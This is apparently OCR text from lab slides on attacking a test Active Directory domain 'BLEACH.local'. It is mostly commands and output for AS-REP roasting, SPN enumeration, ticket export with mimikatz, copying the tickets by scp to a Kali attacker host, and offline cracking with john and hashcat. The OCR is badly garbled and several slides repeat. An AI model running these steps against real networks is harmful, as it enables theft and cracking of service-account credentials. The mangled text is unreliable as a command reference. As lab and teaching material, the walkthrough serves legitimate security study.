(-] Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Par } Using Homin’tantrollens SRENCIPAL DL ACHLALENG laeal (360% dbis 9514016635034
- sing domain controller: - : .loca :db8::92: :e359:13d
[_] Kerberos SessionError: KDC ERR KEY EXPIRED(Pa[ *] Building AS-REQ (w/o preauth) for: 'BLEACH.local\bryna.jackelyn'
[-] Kerberos Sess;onError: KDC_ERR_KEY_EXPIRED(Pa 2] KRB EroR %) - DR ERR. K ExEIRED
[-] Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Pa
. . [*] SsamAccountName : antonina.calypso
[_] Kerberos SessionError: KDC—ERR—KEY—EXPIRED(Pa[*] DistinguishedName : CN=Antonina Calypso,CN=Users,DC=BLEACH,DC=1ocal
[—] Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Pa%:] Using domain controller: PRINCIPAL-BLEACH.BLEACH.local (2001:db8::92:4916:e359:f3d

] Building AS-REQ (w/o preauth) for: 'BLEACH.locall\antonina.calypso'

[X] KRB-ERROR (23) : KDC_ERR_KEY_EXPIRED



BLEACH.local : KERBEROS & OUR FIRST TICKET




BLEACH. local :

PS C:\Users\jquerito> Add-Type -
PS C:\Users\jquerito> setspn.exe -T
.KerberosRequestorSecurityToken

me System.IdentityModel

medin.local -Q */* | Select-String -Con
t $_.Context.PostContext[@].Trim()

Error de Ldap (@x51 -- Servidor inactivo): ldap_connect
No se pudo recuperar el DN del dominio "medin.local": ©x00000051
Advertencia: no se especificaron destinos validos; se revertird al dominio actual.

Id
SecurityKeys
ValidFrom
ValidTo

ServicePrincipalName :
: System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

SecurityKey

Id
SecurityKeys
ValidFrom
ValidTo

ServicePrincipalName :
: System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

SecurityKey

Id
SecurityKeys
ValidFrom
ValidTo

ServicePrincipalName :
: System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

SecurityKey

Id
SecurityKeys
ValidFrom
ValidTo

ServicePrincipalName :
: System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

SecurityKey

: uuid-3612a697-bd3a-4cf9-bcc4-521a1801137e-1

: {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
1 27/05/2023 1:50:17

1 27/05/2023 11:20:13

TERMSRV/PRINCIPAL-BLEAC

: uuid-3612a697-bd3a-4cf9-bcc4-521a1801137e-2

: {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
1 27/05/2023 1:50:17

: 27/05/2023 1:52:17

kadmin/changepw

: uuid-3612a697-bd3a-4cf9-bcc4-521a1801137e-3

: {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
: 27/05/2023 1:22:05

1 27/05/2023 11:20:13

MSSQLSvc/BLEACH. local: 60111

: uuid-3612a697-bd3a-4cf9-bcc4-521a1801137e-4

: {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
1 27/05/2023 1:50:17

: 27/05/2023 11:20:13

http_svc/httpserver.BLEACH. local

KERBEROS & OUR FIRST TICKET

oxt 0,1 | % { New-Object



BLEACH.local : KERBEROS & OUR FIRST TICKET

PS C:\Users\jquerito> Add-Type -/
PS C:\Users\jquerito> setspn.exe
.KerberosRequestorSecurityToken

e System.IdentityModel
medln local -Q */* | Select-String
entlist $_.Context.PostContext[0]. Tr1m() }

Error de Ldap (0x51 -- Servidor 1nact1vo) 1dap_connect
No se pudo recuperar el DN del dominio "medin.local": ©x00000051

Advertencia: no se especificaron destinos validos; se revertird al dominio actual.

Id
SecurityKeys
ValidFrom
ValidTo

SecurityKey

Id
SecurityKeys
ValidFrom
ValidTo

SecurityKey

Id
SecurityKeys
ValidFrom
ValidTo

SecurityKey
Id
SecurityKeys
ValidFrom
ValidTo

SecurityKey

: uuid-3612a697-bd3a-4cf9-bcc4-521a1801137e-1

: {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
: 27/05/2023 1:50:17

: 27/05/2023 11:20:13

ServicePrincipalName :
: System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

TERMSRV/PRINCIPAL-BLEAC

: uuid-3612a697-bd3a-4cf9-bcc4-521a1801137e-2

: {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
: 27/05/2023 1:50:17

: 27/05/2023 1:52:17

ServicePrincipalName :
: System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

kadmin/changepw

: uuid-3612a697-bd3a-4cf9-bcca4-521a1801137e-3

: {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
: 27/05/2023 1:22:05

: 27/05/2023 11:20:13

ServicePrincipalName :
: System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

MSSQLSvc/BLEACH. local: 60111

: uuid-3612a697-bd3a-4cf9-bcca-521a1801137e-4

: {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
: 27/05/2023 1:50:17

: 27/05/2023 11:20:13

ServicePrincipalName :
: System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

http_svc/httpserver.BLEACH.local

- 0,1 | % { New-Object

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64> .\mimikatz

S, mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
J## A ##. "A La Vie, A L'Amour” - (oe.eo0)
## / \ ## /*** Benjamin DELPY ~gentilkiwi® ( benjamin@gentilkiwi.com )
# \ [ ## > http://blog.gentilkiwi.com/mimikatz
"## v Vincent LE TOUX ( vincent.letoux@gmail.com )
i > http://pingcastle.com / http://mysmartlogon.com  ***/

mimikatz # kerberos::list /export

[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 27/05/2023 3:20:13 ; 27/05/2023 13:20:13 ; 03/06/2023 3

Server Name : krbtgt/BLEACH.LOCAL @ BLEACH.LOCAL
Client Name ! jquerito @ BLEACH.LOCAL
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ;

* Saved to file ! 0-40e10000-jquerito@krbtgt~BLEACH.LOCAL-BLEACH.LOCAL.

[00000001] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 27/05/2023 3:22:05 ; 27/05/2023 13:20:13 ; 03/06/2023 3

Server Name 1 MSSQLSvC/BLEACH.local:60111 @ BLEACH.LOCAL
Client Name : jquerito @ BLEACH.LOCAL
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardab

* Saved to file 1 1-40a10000-jquerito@MSSQLSVCc~BLEACH. local~60111-BLEAC
[00000002] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 27/05/2023 3:22:05 ; 27/05/2023 13:20:13 ; 03/06/2023 3
Server Name : mssql_svc/mssqlserver.change.me @ BLEACH.LOCAL
Client Name ! jquerito @ BLEACH.LOCAL
Flags 40210000 ! name_ canonlcallze ; pre authent 5 renewable , forwardab



BLEACH.local : KERBEROS & OUR FIRST TICKET

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64> dir

Directorio: C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64

Mode LastWriteTime Length Name

-a---- 27/05/2023 3:51 1358 0-40e10000-jquerito@krbtgt~BLEACH.LOCAL-BLEACH.LOCAL.kirbi

gpess 27/05/2023 3:51 1468 1-40a10000-jquerito@WSMAN~DESKTOP-O5N3UTI-BLEACH.LOCAL.kirbi

-a---- 27/05/2023 3:51 1460 10-40a10000-jquerito@exchange svc~exserver.change.me-BLEACH.LOCAL.kirbi
Sa=e 27/05/2023 3351 1494 11-40a50000-jquerito@ldap~PRINCIPAL-BLEACH.BLEACH.local-BLEACH.LOCAL.kirbi
Sd=——— 27/05/2023 3251 1524 12-40a50000-jquerito@ldap~PRINCIPAL-BLEACH.BLEACH.local~BLEACH.local-BLEACH.LOCAL.kirbi
-a---- 27/05/2023 351 1494 2-40a10000-jquerito@exchange svc~exserver.BLEACH.local-BLEACH.LOCAL.kirbi
-a---- 27/05/2023 3:51 1494 3-40a10000-jquerito@mssql svc~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi
-a---- 27/05/2023 B 1490 4-40a10000-jquerito@http svc~httpserver.BLEACH.local-BLEACH.LOCAL.kirbi
-a---- 27/05/2023 351 1456 5-40a10000-jquerito@kadmin~changepw-BLEACH.LOCAL.kirbi

C A= 27/05/2023 3551 1472 6-40a50000-jquerito@T ERMSRV~PRINCIPAL-BLEAC-BLEACH.LOCAL.kirbi

SEi=mes 27/05/2023 351 1452 7-40a10000-jquerito@MSSQLSVCc~BLEACH.local~60111-BLEACH.LOCAL.kirbi

-a---- 27/05/2023 51 1460 8-40a10000-jquerito@mssql svc~mssqlserver.change.me-BLEACH.LOCAL.kirbi
-a---- 27/05/2023 2305 | 1456 9-40a10000-jquerito@http svc~httpserver.change.me-BLEACH.LOCAL.kirbi
------ 03/03/2020 2:00 36696 mimidrv.sys

------ 03/03/2020 2:00 1250056 mimikatz.exe

------ 03/03/2020 2:00 46856 mimilib.d11



BLEACH.local : KERBEROS & OUR FIRST TICKET

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64> scp.exe .\kiribiris.zip
kali@10.0.9.7:/home/kali/Documents/cosas/

kali@10.0.9.7°s password:

kiribiris.zip 100% 22KB 21.5KB/s 00:00

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64>



BLEACH.local : KERBEROS & OUR FIRST TICKET

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64> scp.exe .\kiribiris.zip
kali@10.0.9.7:/home/kali/Documents/cosas/

kali@10.0.9.7°s password:

kiribiris.zip 100% 22KB 21.5KB/s 00:00

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64>

[:—(kali&§kali)-[~/Documents/cosas]
$ python3 ../kerberoast/tgsrepcrack.py /home/kali/Documents/rockyou.txt
kiribiris/3-40a10000-jquerito@mssql_svc\~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi

https://github.com/jarilaos/kirbi2hashcat https://github.com/nidem/kerberoast



https://github.com/jarilaos/kirbi2hashcat
https://github.com/nidem/kerberoast

BLEACH.local : KERBEROS & OUR FIRST TICKET

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64> scp.exe .\kiribiris.zip
kali@10.0.9.7:/home/kali/Documents/cosas/

kali@10.0.9.7°s password:

kiribiris.zip 100% 22KB 21.5KB/s 00:00

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64>

[:—(kali&§kali)-[~/Documents/cosas]
$ python3 ../kerberoast/tgsrepcrack.py /home/kali/Documents/rockyou.txt
kiribiris/3-40a10000-jquerito@mssql_svc\~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi

—(kali®kali)-[~/Documents/cosas]
L¢ python3 kirbi2john.py
../cosas/kiribiris/3-40a10000-jquerito@mssql_svc\~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi
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PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64>
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$ python3 ../kerberoast/tgsrepcrack.py /home/kali/Documents/rockyou.txt
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L¢ python3 kirbi2john.py

../cosas/kiribiris/3-40a10000-jquerito@mssql_svc\~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi

[:—(kaliﬁﬁkali)-[~/Documents/cosas]
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs hash-tiket.txt

[:—(kaliﬁﬁkali)-[~/Documents/cosas]
$ hashcat -m 13100 --force hash-tiket.txt <passwords_file>
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